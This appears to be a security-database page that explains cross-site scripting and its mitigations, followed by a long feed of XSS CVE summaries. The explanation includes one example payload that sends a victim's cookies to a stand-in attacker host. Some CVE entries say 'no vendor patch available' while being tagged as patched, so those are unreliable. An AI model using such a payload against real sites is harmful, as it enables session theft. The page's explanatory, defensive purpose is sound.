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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38882)

EPSS 0% CVSS 4.6
MEDIUM POC PATCH This Month

FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 2.2.3, a stored cross-site scripting (XSS) vulnerability exists in the Filerise application due to improper handling of uploaded SVG files. The application accepts user-supplied SVG uploads without sanitizing or restricting embedded script content. When a malicious SVG containing inline JavaScript or event-based payloads is uploaded, it is later rendered directly in the browser whenever viewed within the application. Because SVGs are XML-based and allow scripting, they execute in the origin context of the application, enabling full stored XSS. This vulnerability is fixed in 2.2.3.

XSS File Upload Filerise
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/accounts/groups/Grupo endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[readableName] parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk. This vulnerability is fixed in 1.11.0-beta.1.

XSS Grav Plugin Admin
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][metadata], data[header][taxonomy][category], and data[header][taxonomy][tag] parameters. These scripts are stored in the page frontmatter and executed automatically whenever the affected page is accessed or rendered in the administrative interface. This vulnerability is fixed in 1.11.0-beta.1.

XSS Grav Plugin Admin
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][template] parameter. The script is saved within the page's frontmatter and executed automatically whenever the affected content is rendered in the administrative interface or frontend view. This vulnerability is fixed in 1.11.0-beta.1.

XSS Grav Plugin Admin
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Reflected Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][content][items] parameter. This vulnerability is fixed in 1.11.0-beta.1.

XSS Grav Plugin Admin
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/config/site endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[taxonomies] parameter. The injected payload is stored on the server and automatically executed in the browser of any user who accesses the affected site configuration, resulting in a persistent attack vector. This vulnerability is fixed in 1.11.0-beta.1.

XSS Grav Plugin Admin
NVD GitHub
EPSS 0% CVSS 4.9
MEDIUM POC PATCH This Month

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, a Denial of Service (DoS) vulnerability was identified in the "Languages" submenu of the Grav admin configuration panel (/admin/config/system). Specifically, the Supported parameter fails to properly validate user input. If a malformed value is inserted-such as a single forward slash (/) or an XSS test string-it causes a fatal regular expression parsing error on the server. This leads to application-wide failure due to the use of the preg_match() function with an improperly constructed regular expression, resulting in an error. Once triggered, the site becomes completely unavailable to all users. This vulnerability is fixed in 1.8.0-beta.27.

Denial Of Service XSS Grav
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Snipe-IT before 8.3.4 allows stored XSS via the Locations "Country" field, enabling a low-privileged authenticated user to inject JavaScript that executes in another user's session.

XSS Snipe It
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Snipe-IT before 8.3.4 allows stored XSS, allowing a low-privileged authenticated user to inject JavaScript that executes in an administrator's session, enabling privilege escalation.

Privilege Escalation XSS Snipe It
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Todoist v8896 is vulnerable to Cross Site Scripting (XSS) in /api/v1/uploads. Uploaded SVG files have no sanitization applied, so embedded JavaScript executes when a user opens the attachment from a task/comment.

XSS Todoist
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM POC This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Tyche Softwares Arconix Shortcodes allows Stored XSS.This issue affects Arconix Shortcodes: from n/a through 2.1.19.

XSS
NVD GitHub
EPSS 0% CVSS 8.5
HIGH This Week

A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the login.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the msg and error parameters, which are then executed in the victim's browser when the page is viewed.

PHP XSS Blood Bank Management System
NVD GitHub
EPSS 0% CVSS 8.5
HIGH This Week

A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the updateprofile.php and rprofile.php components. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the rname, remail, rpassword, rphone, rcity parameters, which are then executed in the victim's browser when the page is viewed.

PHP XSS Blood Bank Management System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Eximbills Enterprise 4.1.5 (Built on 2020-10-30) is vulnerable to authenticated stored cross-site scripting (CWE-79) via the /EximBillWeb/servlets/WSTrxManager endpoint. Unsanitized user input in the TMPL_INFO parameter is stored server-side and rendered to other users, enabling arbitrary JavaScript execution in their browsers.

XSS Eximbills Enterprise
NVD
EPSS 0% CVSS 8.5
HIGH POC This Week

A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the blooddinfo.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the error parameter, which is then executed in the victim's browser when the page is viewed.

PHP XSS Blood Bank Management System
NVD GitHub
EPSS 0% CVSS 8.5
HIGH POC This Week

A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the updateprofile.php and hprofile.php components. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the hname, hemail, hpassword, hphone, hcity parameters, which are then executed in the victim's browser when the page is viewed.

PHP XSS Blood Bank Management System
NVD GitHub
EPSS 0% CVSS 8.5
HIGH POC This Week

A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System within the abs.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the msg parameter, which is then executed in the victim's browser when the page is viewed.

PHP XSS Blood Bank Management System
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM POC This Month

Reverse Tabnabbing vulnerability in FeehiCMS 2.1.1 in the Comments Management function

XSS Feehicms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in FeehiCMS 2.1.1 via the id parameter of the User Update function (?r=user%2Fupdate).

XSS Feehicms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

Reflected Cross-site Scripting (XSS) vulnerability in Sanoma's Clickedu. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by sending them a malicious URL in '/students/carpetes_varies.php'. This vulnerability can be exploited to steal sensitive user data, such as session cookies, or to perform actions on behalf of the user.

PHP XSS
NVD
EPSS 0% CVSS 2.1
LOW Monitor

A vulnerability was determined in jairiidriss RestaurantWebsite up to e7911f12d035e8e2f9a75e7a28b59e4ef5c1d654. Impacted is an unknown function of the component Make a Reservation. This manipulation of the argument selected_date causes cross site scripting. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW Monitor

A weakness has been identified in codingWithElias School Management System up to f1ac334bfd89ae9067cc14dea12ec6ff3f078c01. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW Monitor

A weakness has been identified in winston-dsouza Ecommerce-Website up to 87734c043269baac0b4cfe9664784462138b1b2e. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

A weakness has been identified in yungifez Skuul School Management System up to 2.6.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Tryton sao (aka tryton-sao) before 7.6.11 allows XSS because it does not escape completion values. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Tryton sao (aka tryton-sao) before 7.6.9 allows XSS via an HTML attachment. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (rXSS) in krpano before version 1.23.2 allows a remote unauthenticated attacker to execute arbitrary JavaScript in the victim's browser via a crafted URL to the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Krpano
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Multiple Cross-Site Scripting (XSS) vulnerabilities exist in xmall v1.1 due to improper handling of user-supplied data. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Xmall
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Retro is an online platform providing items of vintage collections. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in HCL Technologies Ltd. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Unica
NVD GitHub
EPSS 0% CVSS 8.5
HIGH This Week

An issue was discovered in Logpoint before 7.7.0. Rated high severity (CVSS 8.5), this vulnerability is remotely exploitable. No vendor patch available.

XSS Siem
NVD
EPSS 0% CVSS 7.2
HIGH This Week

The Unlimited Elements For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 2.0 due to insufficient input. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS File Upload +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Apache SkyWalking.2.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apache
NVD
EPSS 0% CVSS 2.4
LOW PATCH Monitor

Emails sent by pretix can utilize placeholders that will be filled with customer data. Rated low severity (CVSS 2.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Pretix
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Malicious content uploaded as file can be used to execute script code when following attacker-controlled links. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Malicious e-mail content can be used to execute script code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Malicious content at office documents can be used to inject script code when editing a document. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Microsoft XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Malicious content uploaded as file can be used to execute script code when following attacker-controlled links. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP Directory Kit plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'order_by' parameter in all versions up to, and including, 1.4.5 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The StaffList plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.2.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Customer Reviews Collector for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'email-text' parameter in all versions up to, and including, 4.6.1 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Simple Folio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'portfolio_name' parameter in all versions up to, and including, 1.1.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Soundslides plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the soundslides shortcode in all versions up to, and including, 1.4.2 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Shouty plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the shouty shortcode in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The wp-twitpic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters of the 'twitpic' shortcode in all versions up to, and including, 1.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Google Drive upload and download link plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' parameter of the 'atachfilegoogle' shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress Google XSS +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The SortTable Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in the sorttablepost shortcode in all versions up to, and including, 4.2. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.9
MEDIUM This Month

The reflective cross-site scripting vulnerability found in ALC WebCTRL and Carrier i-Vu in versions older than 8.0 affects login panels allowing a malicious actor to compromise the client browser . Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 3.6
LOW PATCH Monitor

Spotipy is a Python library for the Spotify Web API. Rated low severity (CVSS 3.6), this vulnerability is no authentication required. No vendor patch available.

XSS Python
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Stored Cross site scripting (XSS) vulnerability in Classroomio LMS 0.1.13 allows authenticated attackers to execute arbitrary code via crafted SVG cover images. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Classroomio
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Stored Cross site scripting (XSS) vulnerability in Classroomio LMS 0.1.13 allows authenticated attackers to execute arbitrary code via crafted SVG profile pictures. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Classroomio
NVD GitHub
EPSS 0% CVSS 9.3
CRITICAL Act Now

Zenitel TCIV-3+ is vulnerable to a reflected cross-site scripting vulnerability, which could allow a remote attacker to execute arbitrary JavaScript on the victim's browser. Rated critical severity (CVSS 9.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripted (XSS) vulnerability in OpenCode Systems USSD Gateway OC Release: 5 allows attackers to execute arbitrary JavaScript in the context of a user's browser via injecting a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ussd Gateway
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

The Houzez theme for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 4.1.6 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

REDAXO is a PHP-based CMS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Redaxo
NVD GitHub
EPSS 0% CVSS 8.6
HIGH POC PATCH This Week

OWASP Java HTML Sanitizer is a configureable HTML Sanitizer written in Java, allowing inclusion of HTML authored by third-parties in web applications while protecting against XSS. Rated high severity (CVSS 8.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Java Java Html Sanitizer +1
NVD GitHub
EPSS 0% CVSS 7.0
HIGH PATCH This Week

Cross-site scripting (XSS) in Drupal 7.x Webform Multiple File Upload module versions 7.x-1.2 through 7.x-1.6 enables unauthenticated attackers to execute arbitrary JavaScript in victims' browsers by uploading files with malicious filenames to Webform nodes where file type validation is disabled. The vulnerability originates in the third-party fyneworks/multifile library's file name renderer. With EPSS at 0.07% (21st percentile) and no public exploit identified at time of analysis, exploitation probability remains low despite the CVSS 7.0 score.

Drupal PHP XSS +2
NVD HeroDevs
EPSS 0% CVSS 7.1
HIGH POC This Week

Stored Cross-Site Scripting via XML Injection in DB Electronica Telecomunicazioni S.p.A. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mozart Next 6000 Firmware Mozart Next 500 Firmware +20
NVD
EPSS 0% CVSS 6.5
MEDIUM POC PATCH This Month

Formwork is a flat file-based Content Management System (CMS). Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Formwork
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A reflected Cross site scripting (XSS) vulnerability in Ruckus Unleashed 200.13.6.1.319 via the name parameter to the the captive-portal endpoint selfguestpass/guestAccessSubmit.jsp. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ruckus Unleashed
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

GeoServer is an open source server that allows users to share and edit geospatial data. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Geoserver
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

A stored cross-site scripting (XSS) vulnerability in the module management component in REDAXO CMS 5.20.0 allows remote users to inject arbitrary web script or HTML via the Output code field in. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Redaxo
NVD GitHub
EPSS 0% CVSS 9.6
CRITICAL POC Act Now

Cross Site Request Forgery (CSRF) vulnerability in Ilevia EVE X1 Server Firmware Version v4.7.18.0.eden and before, Logic Version v6.00 - 2025_07_21 allows a remote attacker to execute arbitrary code. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS CSRF +1
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM This Month

A Stored Cross-Site Scripting vulnerability was discovered in the Dashboards functionality due to improper validation of an input parameter. Rated medium severity (CVSS 5.8), this vulnerability is remotely exploitable. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.1
HIGH This Week

HCL iNotes is susceptible to a Reflected Cross-site Scripting (XSS) vulnerability caused by improper validation of user-supplied input. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Job Board by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.2.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Just Highlight plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Highlight Color' setting in all versions up to, and including, 1.0.3 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Inline frame - Iframe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'embedsite' shortcode in all versions up to, and including, 0.1. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Zweb Social Mobile - Ứng Dụng Nút Gọi Mobile plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘vithanhlam_zsocial_save_messager’, 'vithanhlam_zsocial_save_zalo',. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The YouTube Subscribe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.0.0 due to insufficient input sanitization and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Cross-site scripting vulnerability exists in SNC-CX600W all versions. Rated medium severity (CVSS 4.8), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Snc Cx600W Firmware
NVD
EPSS 0% CVSS 7.2
HIGH This Week

The Telegram Bot & Channel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Telegram username in all versions up to, and including, 4.1 due to insufficient input sanitization. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

alinto SOGo 5.12.3 is vulnerable to Cross Site Scripting (XSS) via the "userName" parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Sogo Debian Linux
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

YCCMS 3.4 contains a stored cross-site scripting (XSS) vulnerability in the article management functionality. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Yccms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

OpenRapid RapidCMS 1.3.1 is vulnerable to Cross Site Scripting (XSS) in /user/user-move.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Rapidcms
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability in the /overview/network/ endpoint of Austrian Archaeological Institute Openatlas before v8.12.0 allows attackers to execute arbitrary code in the. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE XSS Openatlas
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability in the /overview/network/ endpoint of Austrian Archaeological Institute Openatlas before v8.12.0 allows attackers to execute arbitrary code in the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE XSS Openatlas
NVD
EPSS 0% CVSS 4.6
MEDIUM This Month

Incorrect access control in Austrian Archaeological Institute Openatlas before v8.12.0 allows attackers to access sensitive information via sending a crafted GET request to the /display_logo endpoint. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Openatlas
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Service Items Management in DELMIA Service Process Engineer on Release 3DEXPERIENCE R2025x allows an attacker to execute arbitrary script. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Month

A stored Cross-site Scripting (XSS) vulnerability affecting Requirements in ENOVIA Product Manager from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2025x allows an attacker to execute. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability stored in tha Taclia web application, where the uploaded SVG images are not properly sanitized. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.3
HIGH This Month

An attacker with viewer permissions in Looker could craft a malicious URL that, when opened by a Looker admin, would execute an attacker-supplied script. Rated high severity (CVSS 7.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

The Broken Link Manager WordPress plugin through 0.6.5 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD WPScan
EPSS 1% CVSS 7.1
HIGH POC This Week

The WordPress eCommerce Plugin WordPress plugin through 2.9.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD WPScan
EPSS 0% CVSS 2.0
LOW Monitor

A security vulnerability has been detected in Eigenfocus up to 1.4.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
